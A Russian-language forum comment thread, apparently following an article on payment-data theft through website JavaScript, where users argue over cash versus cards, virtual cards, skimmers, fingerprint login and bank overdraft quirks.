                                                                    Ну мы поняли, надо носить в кэше, причем с собой. В разных валютах, зашитых во всю одежду.
                                                                    Почему ваш параноик не боится домушника, зашедшего в дом, но боится того что вдруг банк заблокирует карты всех своих клиентов?
                                                                    Лично мне кажется логичной принцип среднего — сумма на 2-3 дня наличкой хранится на руках/дома, а остальное — на карте, на депозите или во вкладах.
                                                                    • 0
                                                                      Про домушника тут лишнее, я про хранение всех сбережений в доме ничего и близко не писал, да и техники в современном доме на куда большую сумму, чем лежит наличности…
                                                                      Ниже в комментариях я уже примерно описал, что и как должно храниться в моём понимании, и ответ на ваш вопрос там тоже есть, причём практически совпадающий с вашей версией, за небольшими исключениями. Основная часть должна быть именно «на депозите или во вкладах», но никак не на карте. Сумма на 2-3 дня должна быть в кошельке, а на ближайшие 3-4 недели дома, на случай форс-мажора с карточками, банками, счетами и т.д…
                                                                      • 0
                                                                        Технику только наркоты воруют(шанс что ее можно будет вернуть в ближайшем ломбарде >90%) — остальные только деньги и золото\серебро ибо их не отследить практически никак.
                                                                • +3
                                                                  В вашем параноидном мире Бирюлева нету? В переходе по башке не дают с отбором всей налички? У нас вот дают. Отделываемся потерей мелочью, потому как всё на карточках.
                                                                  • +2
                                                                    По моему регулярное получение по голове вредит здоровью безотносительно потери имеющейся наличности.
                                                                    • +13
                                                                      Только у карточников останутся деньги на лечение, а у наличников — нет. :)
                                                                    • 0
                                                                      Шансы получить по башке примерно одинаковые, что при наличии денег, что без них… Вообще все деньги что есть, я, разумеется, не таскаю с собой круглосуточно — только на выбранные покупки +1-2к на возможные доп. расходы… По голове и у нас бьют, но от того, чтобы не ударили по голове, как и от того, чтобы не сняли деньги с карты — есть свои способы защиты)
                                                                    • 0
                                                                      То есть у вас всегда при себе имеются наличные деньги на любую покупку?
                                                                      А где вы держите накопления?
                                                                      • 0
                                                                        То есть у вас всегда при себе имеются наличные деньги на любую покупку
                                                                        не на любую, а только на планируемую, если же планируемых нет — есть пара тысяч на мелкие покупки или возникшие форсмажоры…
                                                                        Накопления — поверьте, не под подушкой, не в кошельке, и даже не в кладовке, в банке с крупой) Но и доступа у человека, который утащил у меня пароль от онлайн банкинга к ним тоже нет, для их получения как минимум нужны документы и моё личное присутствие)
                                                                        • 0
                                                                          То есть для совершения покупки или пополнения кэша вы идете «не в кладовку» с документами и снимаете 2-3к?
                                                                    • +1
                                                                      снять деньги с зарплатой карточки

                                                                      У параноиков такого уровня должен быть запас налички.
                                                                      • 0
                                                                        <sarcasm>
                                                                        Они предварительно договариваются с руководством, что получать деньги будут лично от бухгалера на руки.
                                                                        <sarcasm/>
                                                                      • +9
                                                                        Дождался своей очереди на пятом банкомате, а там скиммер )
                                                                        • 0

                                                                          Перевести с карты банка на виртуальную. Онлайн. Без комиссии.

                                                                          • 0
                                                                            Перевести с карты банка на виртуальную. Онлайн. Без комиссии.

                                                                            А переводить вы на неё деньги будете в веб-банкинге, написанном модными-стильными-современными js-кодерами… (см. комментарий выше)

                                                                        • +4
                                                                          просто в терминале…

                                                                          интерфейс которого написан
                                                                          модными-стильными-современными кодерами…

                                                                          Круг замкнут, выхода нет.
                                                                        • +2
                                                                          Как минимум некоторые терминалы (сам видел) работают как internet explorer, в котором открыта нужная страница. То есть проблема никуда не делась
                                                                          • +1
                                                                            Не знаю как в России (СНГ), но в США тут есть услуга генерации № карточки которая действительна до Х даты/времени или же до первой оплаты, можно через телефонное приложение сгенерировать. Не все банки поддерживают, это минус.
                                                                            • 0
                                                                              В России такое тоже есть например у Альфа-банка (правда с ограничениями — срок действия — месяц-два, потребуется И доступ к веб-сайту И к телефону привязанному ну и денег спишут немного за выпуск).
                                                                              Хотелось бы конечно нечто вроде ЮАР'вского root.co.za (где вообще можно дописать свой скрипт(!) в процессинг)
                                                                              • 0
                                                                                Хм, а как у тех скриптов со Spectre дела обстоят?..
                                                                                • 0
                                                                                  Свой скрипт? А зачем это нужно и как это использовать?
                                                                            • +3
                                                                              \\выделенную банковскую
                                                                              … и пополнять её, вводя данные в онлайн банке, или через банкомат, в котором тоже может быть этот или другой вредоносный код. Ну или по СМС, которые вообще лучше отключить. А потом покупаешь, на ней какой-нибудь, например, лицензионный ключ, который приходит на почту, от которой тоже надо вводить пароль, и который надо активировать в личном кабинете, у которого тоже есть пароль, и, возможно вредоносный.
                                                                              Но а если серьезно — сам, так и делаю, держа для покупок отдельную карту с небольшой суммой, пополняя её если надо оплатить что-то дорогое. А с других карт излишки перевожу на счет.
                                                                              • +1
                                                                                например Virtual Account Numbers

                                                                                можно задавать лимит по времени и сумме, плюс ограничение на то кто пытается снять.
                                                                                т.е. один и тот же продавец может снимать с этой карты несколько раз, а другим будет отлуп.

                                                                                Т.е. можно использовать для recurring платежей.
                                                                              • +1
                                                                                Вы чтобы её пополнить ногами в банк ходите или всё же вводите логины-пароли-номера на каком-то сайте?
                                                                                • 0

                                                                                  Я в мобильном приложении ввожу, например. И то не номер карты, а отпечаток пальца. Ещё вопросы?

                                                                                  • 0
                                                                                    Уверены, что в мобильном приложении нету этих проблем? Да еще и отпечаток пальца, который не поменять
                                                                                    • +1

                                                                                      Думаю, что организовать такие проблемы в мобильном приложении несколько сложнее, чем в этом вашем джаваскрипте. Про отпечаток пальца что-то не понял — в каком смысле не поменять?

                                                                                      • +2
                                                                                        Думаю, что организовать такие проблемы в мобильном приложении несколько сложнее, чем в этом вашем джаваскрипте.

                                                                                        Притом что многие приложения на телефоне являются тем же сайтом со своим браузером. И сторонние компоненты используют не только в JS.
                                                                                        Про отпечаток пальца что-то не понял — в каком смысле не поменять?

                                                                                        В прямом- после его утечки вы ничего не сможете с этим сделать.
                                                                                        • 0

                                                                                          Я могу отличить нативное приложение от вебвью, спасибо. Я не говорил, что сторонние компоненты в мобильных приложениях не используются — я всего лишь говорю, что организовать такие проблемы в мобильном сильно сложнее.


                                                                                          Про отпечаток ересь какая-то. Какая ещё утечка, его хардварно поддерживают устройства. Приложение до него вообще доступа не имеет. Учите матчасть.

                                                                                          • 0
                                                                                            Достаточно украсть ваш мобильник, а уж отпечатки ваши будут ровным слоем по нему везде. Делается фотография, а потом силиконовая форма отливается с формой отпечатка и все. Гуглить лень, но авторизация по отпечатку пальца скомпрометирована уже несколько лет назад. Причем разными способами.
                                                                                            • +1

                                                                                              Бред. Разговор идёт про широконаправленные атаки, "бомбят по площадям". Про то, что сторонняя компонента встраивается в приложение и крадёт данные.


                                                                                              Никто не говорил про индивидуальные атаки на человека — так-то сломать можно всё, что угодно.

                                                                                              • 0
                                                                                                Да, мой комментарий был, действительно, именно про отпечаток как механизма авторизации. Я думал что оригинальный комментарий тоже.
                                                                                                Массово да — пока смысла не имеет, наверное.
                                                                                            • 0
                                                                                              Какая ещё утечка, его хардварно поддерживают устройства.

                                                                                              Иногда это хардварно выдаёт снимок отпечатка любой программе, стоит только попросить. А так я имел в виду распознание по фото и прочие методы.
                                                                                      • 0

                                                                                        Есть. Проводили ли вы аудит этого мобильного приложения? Или же даже не видели его исходников? Читали ли вы про успешную подделку отпечатка пальца по фотографии?

                                                                                        • 0

                                                                                          Для этого уже нужен как минимум физический доступ к устройству.

                                                                                    • 0
                                                                                      Есть ещё такое понятие как технический овердрафт. Карта, даже будучи 100% не кредитной в определённых случаях МОЖЕТ все-таки уйти в минус. Потом всеравно будете вынуждены этот минус погасить.
                                                                                      • 0
                                                                                        А можете подробнее объяснить, какие это случаи, и что нужно сделать, чтобы гарантированно в них не попасть, или хотя бы вероятность их наступления уменьшить?
                                                                                        • +3
                                                                                          гарантированно в них не попасть

                                                                                          Не иметь карточек вообще.
                                                                                          • 0
                                                                                            Ну например вы покупали что-то на сайте с карточки в нац валюте в долларах и должны заплатить 100 долларов. По схеме расчетов сначала сумма блокируется по курсу на момент блокировки. А спустя несколько дней — списывается, но уже по курсу на момент списания. Если курс списания выше, чем курс блокировки — спишется дополнительная сумма с карты, если денег не будет — возникнет технический овердрафт. К.т. всякие банковские комисии за обслуживание (особенно связаные с расчетами между банками — сняли в банкомате чужого банка, например) в не особо клиенто-ориентированных банках могут уходить в технический овердрафт…

                                                                                            Правда вариантов, когда технический овердрафт может возникнуть на существенную сумму я придумать не могу, кроме случаев двойного списания суммы, но такие варианты обычно решаются оспариванием транзакции.
                                                                                            • 0
                                                                                              А ещё через оффлайн-транзакции можно уйти в минус.
                                                                                              Это когда оплатил в магазине сейчас, баланс на карте не изменился, смс не пришла, а реально списание произошло через 1-2 дня.
                                                                                              • 0
                                                                                                Более того, забавные ситуации бывают и в онлайне. Я как-то получил минус, который не вкладывался в возможную разницу курсов в несколько десятков раз. Оказалось, гугл не успел подтвердить транзакцию в течении 8 дней и банк вернул деньги (снял блокировку).
                                                                                                Забавно, но подтверждение пришло в скором времени после очередного использования карты и суппорт банка минут 15 разбирался почему вдруг образовался овердрафт.
                                                                                              • +1
                                                                                                Был случай, когда из-за двойного списания при оплате путёвки на карте возник технический овердрафт больше 100к рублей. Банк хоть и пообещал «разобраться», но штраф за перерасход все равно начислил. Спустя выходные деньги «пришли» назад, но уже по другому курсу, из-за чего потерялась еще часть.
                                                                                                • +3
                                                                                                  Банк оставил вас наедине с проблемой? Если можно огласите, пожалуйста название банка.
                                                                                                • 0
                                                                                                  По схеме расчетов сначала сумма блокируется по курсу на момент блокировки.
                                                                                                  — а кто за эту схему расчётов ответственный, банк? конкретный интернет-магазин? или это общепринятая практика?
                                                                                                  В онлайне вообще не сталкивался с ситуациями, когда после расчётов деньги на счету всё ещё оставались…
                                                                                                  • 0
                                                                                                    Процессинговая система (Visa, MasterCard, ...). Я сейчас быстро какое-то подтверждение не смог найти, но уверен что в при достаточном приложении сил в общих чертах эту схему можно найти.
                                                                                                    Заблокированная сумма обычно отображается именно как списанная. Некоторые банки в выписках могут указывать дату операции (блокировки) и списания денег — она может отличаться.
                                                                                                • +1
                                                                                                  Да банально: получил зарплату, снял всё, а потом списались деньги за годовое обслуживание — вот и минус на «дебетовке». Это личный мой случай, потом еще из банка звонили и спрашивали, откуда у меня минус, пришлось мне им объяснять откуда. Извинились в конце разговора :)
                                                                                                  • 0
                                                                                                    Банковские начисления всякие. Альфа-банк раньше с нулевым счетом без операций просто держали его на ноле — сейчас каждый месяц увеличивают минус на нем, техподдержка разумеется отвечает что все как раньше.
                                                                                                • 0
                                                                                                  Кроме номера карты, конечно, другие данные тоже воровать можно? Пароли? Номер телефона?
                                                                                                  • +8
                                                                                                    Затем, что контролем кода занимаются одни люди, а оформлением на себя дополнительной карты — совсем другие.
                                                                                                    И когда с вашего сайта радостно начнет утекать sensitive data пользователей, ответ «Да завели бы себе отдельную карту и всё» их вряд ли устроит.
                                                                                                    Не говоря уж о том, что платежные данные — не единственная ценная информация, которую оставляют пользователи на сайтах.
                                                                                                    Это точно так же могут быть реквизиты аккаунтов, сканы документов, приватный контент, whatever.
                                                                                                    И в итоге попытка отказаться от использования всего этого в интернете сводит всё к п.1 из статьи выше.

                                                                                                    upd: Я буду обновлять ветку комментов каждый раз, перед там как что-то постить.
                                                                                                    • 0

                                                                                                      Потому что это никак не зафорсированно. И на n пользоватей с выделенной картой будет k пользователей с зарплатной. :/
                                                                                                      Эта статья в большей стетепни для разработчиков. Для пользователей достаточно понимать, что ничто не мешает какому-нибудь интернет-магазину ложечек просто переть ваши данные, без всех этих хитростей.

                                                                                                      • 0
                                                                                                        А с паролями что?
                                                                                                      • 0
                                                                                                        Поможет ли блокировка исходящего трафика по всем направлениям, кроме разрешённых? Вроде бы тогда вирус будет работать, но не сможет отправить украденные данные своему хозяину, да?
                                                                                                        • 0
                                                                                                          • +1
                                                                                                            Отправит на CDN который используется тем же сайтом для работы и является разрешённым…
                                                                                                            • +1
                                                                                                              Сначала я засомневался (у меня все по умолчанию запрещено), посмотрел в мои разрешения: alicdn.com, dxcdn.com, и т.п. И как он туда отправит? Посмотрел что на ebay… ebaydesc.com, ebaydesc.com, ebayrtm.com, ebaystatic.com, и подумал что если бы кто-то зарегистрировал ebaycdn.com то я бы и его разрешил пачкой тут же.
                                                                                                              Заголовок спойлера
                                                                                                              image
                                                                                                              А я думал что я параноик.
                                                                                                          • –10
                                                                                                            )) Просто — не говори машине, что у тебя есть кредитка. Только кэш, сорян чувак. Комп — для фильмов книг и игр.
                                                                                                            • +13
                                                                                                              Вы точно в 2018 году живёте?
                                                                                                              • +4
                                                                                                                А игры, фильмы и книги на ПК покупать в сетевом магазине?
                                                                                                                • 0

                                                                                                                  Виртуальная карта от Qiwi или чего-нибудь подобного. Невозможно потерять денег больше, чем было физически запихано кэша в терминал.

                                                                                                                  • 0
                                                                                                                    А откуда вы деньги возьмете?
                                                                                                                    Снимете в банкомате? :)
                                                                                                                    • 0

                                                                                                                      Из тумбочки. В тумбочку тоже я кладу.

                                                                                                                      • 0
                                                                                                                        Завидую тем, у кого есть неиссякаемая тумбочка с деньгами.
                                                                                                                        Остальные вынуждены зарабатывать, а работодатель почему-то не хочет иметь физическую кассы и предпочитает зарплатные карты.
                                                                                                                        • 0

                                                                                                                          А работник предпочитает то, что предпочитает.


                                                                                                                          Согласно пункту 1 статьи 421 Гражданского кодекса РФ, граждане и юридические лица свободны в заключении договора. Понуждение к заключению договора не допускается, за исключением случаев, когда обязанность заключить договор предусмотрена Гражданским кодексом РФ, законом или добровольно принятым обязательством. Следовательно, работодатель не может обязать работника заключить договор банковского счета для перечисления заработной платы.

                                                                                                                          Источник: http://www.tkodeksrf.ru/ch-3/rzd-6/gl-21/st-136-tk-rf

                                                                                                                          • 0
                                                                                                                            Конечно. Он может просто не взять вас на работу.
                                                                                                                            • –3

                                                                                                                              Идёт в жопу, значит. Может, он потом захочет зарплату вообще не платить. По ТК обязан, но вот захочет и всё.

                                                                                                                              • +1
                                                                                                                                Классно что вы можете выбирать. Большинство не может. Не может не только выбирать, но даже тупо заикнуться о своих правах.
                                                                                                                                Вы попадаете в 0.001% тех, кому указанная здесь угроза не угроза.
                                                                                                                                Классно, таким людям я тоже завидую, наравне с теми, у кого есть тумбочка.
                                                                                                                                • –2

                                                                                                                                  Сказал же про тумбочку, что в неё тоже я кладу. Она не сама варит.


                                                                                                                                  Большинство не может. Не может не только выбирать, но даже тупо заикнуться о своих правах.

                                                                                                                                  Рабовладельческий строй какой-то.

                                                                                                                                  • 0
                                                                                                                                    Рабовладельческая психология, а не строй.
                                                                                                                                    Если готов отстаивать свои права — это как правило не становится проблемой. Но люди в основе своей так боятся потерять те права что у них есть(работать 12 часов за серую зарплату, например), что не смеют заикаться на счет остальных.
                                                                                                                                  • 0
                                                                                                                                    Не может не только выбирать, но даже тупо заикнуться о своих правах.

                                                                                                                                    Рабский менталитет в себе нужно уничтожать.
                                                                                                                                    Классно, таким людям я тоже завидую

                                                                                                                                    Уборщик с з/п в 20к, при переводе бюдетников на МИР пошёл качать права и начал получать з/п на банковский счёт, кассу тоже предлагали, но со счёта удобнее перекидывать на нормальную карточку. Если вы ещё завидуете, готов с вами поменяться.
                                                                                                                                    • 0
                                                                                                                                      Мы с вами уже общались, так вот, когда я был инженер-программистом в МУПе, мне сказали, или карточка (причем вполне определенного банка, что вообще ни в какие ворота), или пшел вон прямо сейчас, и нам в общем-то все равно, что там произойдет с тем барахлом, что ты поддерживаешь в рабочем состоянии, когда я намекнул, что я единственный, кто остался и хоть немного разбирается в этом барахле.
                                                                                                                                      • 0
                                                                                                                                        Мы с вами уже общались

                                                                                                                                        Да я много с кем тут общался, как впрочем и вы, что при количестве комментариев в 1к+ и не удивительно.
                                                                                                                                        и нам в общем-то все равно, что там произойдет с тем барахлом

                                                                                                                                        Видимо мне место такое хорошее попалось.
                                                                                                                                        • 0
                                                                                                                                          Руководство чуть более адекватное или не такое купленное на деньги банка.
                                                                                                                                          • 0
                                                                                                                                            Сейчас пораскинул мозгами, и пришёл к выводу, что скорее всего повлияла численность рабочих- у меня это 1800 сотрудников, где потеря отката на одного значит меньше, чем потенциальный геморрой от моего хождения по инстанциям.
                                                                                                                                  • 0
                                                                                                                                    Не понимаю за что заминусовали человека, вроде бы всё здраво расписывает.

                                                                                                                                    Кто-нибудь может объяснить?
                                                                                                                      • 0
                                                                                                                        Игры, фильмы, книги бесплатные.
                                                                                                                    • +2
                                                                                                                      Кризис, как правило, предвещает начало новой эры.
                                                                                                                      • 0
                                                                                                                        Каменного топора и палки-копалки…
                                                                                                                        • +1
                                                                                                                          Боюсь, что уже сейчас есть негосударственные киберпреступные группы, способные связкой известных им эксплойтов или захваченного ПО сделать своеобразный блэкаут интернета масштаба страны, если не мира… Ситуация с медком была одним из подобных страшных звоночков…